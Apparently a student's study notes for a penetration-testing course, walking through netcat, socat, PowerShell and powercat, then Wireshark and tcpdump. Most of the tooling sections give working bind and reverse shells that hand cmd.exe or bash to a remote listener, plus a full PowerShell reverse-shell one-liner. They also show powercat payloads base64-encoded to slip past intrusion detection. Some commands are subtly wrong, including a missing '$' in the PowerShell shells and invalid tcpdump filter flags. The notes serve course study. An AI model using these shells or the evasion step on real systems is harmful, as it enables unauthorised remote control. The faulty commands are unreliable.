Courses-Study

My notes for studying courses

View on GitHub

PRACTICAL TOOLS

1 - NETCAT

1.1 - CONNECTING TO A TCP/UDP PORT

# Connect to server assigned <DESTINATION IP> with port <PORT>
nc -n -v <DESTINATION IP> <PORT>
# -n prevents name resolution and -v is verbose mode

1.2 - LISTENING ON A TCP/UDP PORT

# server for listening
nc -lvnp <PORT>
# -l is listening mode
# -v is verbose mode
# -n is no name resolution mode
# -p is specified port

# client
nc <IP ADDRESS> <PORT>

# After connecting enter text to chat

1.3 - LISTENING ON A TCP/UDP PORT

# Server which recieves the file
nc -lvnp <PORT> > /path/to/file

# Client which sends the file
nc <IP ADDRESS> <PORT> < /path/to/file

1.4 - REMOTE ADMINISTRATION WITH NETCAT

01.png

Bob is running Windows and Alice is running Linux
In first scenario Alice wants to connect to Bob’s machine and do stuff

netcat bind shell scenario

# Bob's Windows machine as a server
nc -lvnp 4444 -e cmd.exe

# Alice's Linux machine as a client
nc -nv <Bob IP> 4444
# this will result Bob's computer cmd.exe

02.png In second scenario Bob wants to connect to Alice’s computer and do stuff netcat reverse shell scenario

# Bob's Windows machine as a server
nc -lvnp 4444

# Alice's Linux machine as a client
nc -nv <Bob IP> 4444 -e /bin/bash
# this will result reverse shell from Alice's computer to Bob on port 4444

2 - SOCAT

socat - TCP:10.11.0.22:110
# - indicates transfer data between stdin and remote host
# TCP is the transfer protocol
# 10.11.0.22 is the remote host IP address
# 110 is the remote port number
socat TCP4-LISTEN:10001 STDOUT
# TCP4-LISTEN is the transfer protocol in listen mode
# 10001 is listening port number
# STDOUT is for redirecting stdout for bidirectional chat

2.1 - SOCAT FILE TRANSFERS

# Server-side for transfering file by Alice
# fork indicates creating a child process
# file indicates reading input from file secrets.txt 
socat TCP4-LISTEN:10001,fork file:secrets.txt 

# Client-side for receiving file by Bob
socat TCP4:10.11.0.4:10001 file:receeved_secrets.txt,create
# create indicates creating and redirecting output to the file receeved_secrets.txt

2.2 - SOCAT REVERSE SHELLS

# Bob's side as listener
# -d -d is to increase verbosity
socat -d -d TCP4-LISTEN:10001 STDOUT


# Alice's side
# EXEC option like -e option in netcat
socat TCP4:10.11.0.22:10001 EXEC:/bin/bash

2.3 - SOCAT ENCRYPTED BIND SHELLS

openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
# -req and -x509 create self-signed certificate
# -newkey will generate new private key
# rsa:2048 will use RSA encryption with 2048 bit key length
# -nodes will store the private key unencrypted
# -keyout file.key will save the key to a file
# -days indicates validity period in days
# -out will save the certificate to a file
cat bind_shell.key bind_shell.crt > bind_shell.pem
sudo socat OPENSSL_LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
# OPENSSL_LISTEN:443 option creates SSL listener on port 443
# cert option specify our certificate file
# verfiy=0 disable SSL verifications
# fork spawns a child process when a connection made to the listener
# EXEC will execute /bin/basha and redirect its output to remote host
socat - OPENSSL:10.11.0.4:443,verify=0
# - indicates transfer data between stdin and remote host
# OPENSSL establishes remote SSL connection to Alice's listener 
# verify=0 disable SSL certificate verification

3 - POWERSHELL AND POWERCAT

Set-ExecutionPolicy Unrestricted
# Press Y
Get-ExecutionPolicy

3.1 - POWERSHELL FILE TRANSFERS

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.11.0.4/wget.exe', 'C:\Users\username\Desktop\wget.exe')"
# -c indicates the command being executed by powershell 
# new-object is for instantiating a .NET framework or a COM object
# Here it is a web-client class which is defined and implemented ins system .NET namespace
# downloadFile is the public method od web-client object 
# It has two arguments first one is the url and the second one is the output path to write to file

3.2 -  POWERSHELL REVERSE SHELLS

nc -lvnp 10001
# Assign IP address and port to client socket variable
$client = New-Object System.Net.Sockets.TCPClient('10.11.0.4', 10001);

# stream variable Get network stream class to facilitate sending and receiving data
$stream = $client.GetStream();

# bytes variable as our buffer
[byte[]]$bytes = 0..65535|%{0};

# while loop for several lines for reading and writing data from network streams
while (($i = $stream.Read($bytes, 0, $bytes.length)) -ne 0){
	$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
	
	# iex runs any command given as input
	$sendback = (iex $data 2>&1 | Out-String);
	$sendback2 = sendback + 'PS ' + (pwd).Path + '> ';
	$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
	
	# Writes output of iex into data stream through network connection
	$stream.Write($sendbyte, 0, $sendbyte.Length);
	$stream.Flush();
}

# Close client connections
$client.Close();
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.11.0.4', 10001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while (($i = $stream.Read($bytes, 0, $bytes.length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush();}$client.Close();"

3.3 - POWERSHELL BIND SHELLS

# Start a socket TCP listener using System.Net.Sockets.TcpListener class
$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0', 443);

$listener.start();
$client = $listener.AcceptTcpClient();
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};

while(($i = $stream.Read($bytes, 0, $bytes.length)) -ne 0){
	$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);

	# iex runs any command given as input
	$sendback = (iex $data 2>&1 | Out-String);
	$sendback2 = sendback + 'PS ' + (pwd).Path + '> ';
	$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
	
	# Writes output of iex into data stream through network connection
	$stream.Write($sendbyte, 0, $sendbyte.Length);
	$stream.Flush();
}

$client.Close();
$client.Stop();
powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0', 443);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush();}$client.Close();$client.Stop();"
nc -nv 10.11.0.22 443

3.4 - POWERCAT

# See help
powercat -h

3.5 - POWERCAT FILE TRANSFERS

nc -lvnp 10001 > receiving_file
powercat -c 10.11.0.4 -p 10001 -i C:\Users\username\Desktop\filename
# -c specifies client mode
# -p is port number
# -i indicates local file to be transfered

3.6 - POWERCAT REVERSE SHELLS

nc -lvnp 10001
powercat -c 10.11.0.4 -p 10001 -e cmd.exe
# -e indicates to execute the argument <cmd.exe> for example

3.7 - POWERCAT BIND SHELLS

powercat -l -p 10001 -e cmd.exe
# -l is for listening mode
# -p is port number
# -e executes cmd.exe
nc -nv 10.11.0.22 10001

3.8 - POWERCAT STAND-ALONE PAYLOADS

Generate a reverse shell by adding a -g to previous powecat commands:

powercat -c 10.11.0.4 -p 10001 -e cmd.exe -g > reverseshell.ps1

This can be easily detected by IDS, We can overcome this issue by using Base64 encoding
To generate stand-alone base64 encoded payload we use -ge options

powercat -c 10.11.0.4 -p 10001 -e cmd.exe -ge > encodedreverseshell.ps1

We can not run encodedreverseshell.ps1 directly because it is a base64 encoded command
To run it we should run it with powershell command and -E oprtion which is for encoded commands

powershell -E "Content of encodedreverseshell.ps1"

4 - WIRESHARK

4.1 - WIRESHARK BASICS

4.2 - LAUNCHING WIRESHARK

sudo wireshark
# We need sudo for capturing network traffic

4.3 - CAPTURE FILTERS

03.png

4.4 - DISPLAY FILTERS

ftp 10.11.1.13
Connected to 10.11.1.13
220 Microsoft FTP Service
Name (10.11.1.13:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.
Remote system type is Windows_NT.
ftp> quit
221

04.png

4.5 - FOLLOWING TCP STREAMS

05.png

06.png

07.png

5 - TCPDUMP

sudo tcpdump -r password_cracking_filtered.pcap

08.png

5.1 - FILTERING TRAFFIC

sudo tcpdump -n -r password_cracking_filtered.pcap | awk -F" " '{print $3}' | sort | uniq -c | head 
# -n is for filter name resolution packets
# -r indicates filename to read packets from
# awk -F" " '{print $3}' means separate each line by space " " and print 3rd element which is ip address
# sort sorts the output
# uniq -c counts each ip address numbers
# head displays first lines of the output

09.png

# Based on src IP
sudo tcpdump -n -src host 172.16.40.10 -r password_cracking_filtered.pcap
# -src host 172.16.40.10 indicates that only show packets that their source IP address is 172.16.40.10

# Based on dst IP
sudo tcpdump -n -dst host 172.16.40.10 -r password_cracking_filtered.pcap
# -dst host 172.16.40.10 indicates that only show packets that their destination IP address is 172.16.40.10

# Based on port number
sudo tcpdump -n -port 81 -r password_cracking_filtered.pcap
# -port 81 indicates that only show both source and destination traffic against port 81
sudo tcpdump -nX -r password_cracking_filtered.pcap
# -X indicates dump packets content in both HEX and ASCII format

10.png

5.2 - ADVANCED HEADER FILTERING

11.png

# TCP flags
00011000 in binary -> 24 is decimal
# We can pass this number 24 to tcpdump display filter

sudo tcpdump -A -n 'tcp[13] = 24' -r password_cracking_filtered.pcap
# -A prints packets in ASCII
# tcp[13] = 24 means 14th byte(because they starts from 0) should be equal to 24 which is '00011000' TCP flags (ACK and PSH)

12.png

13.png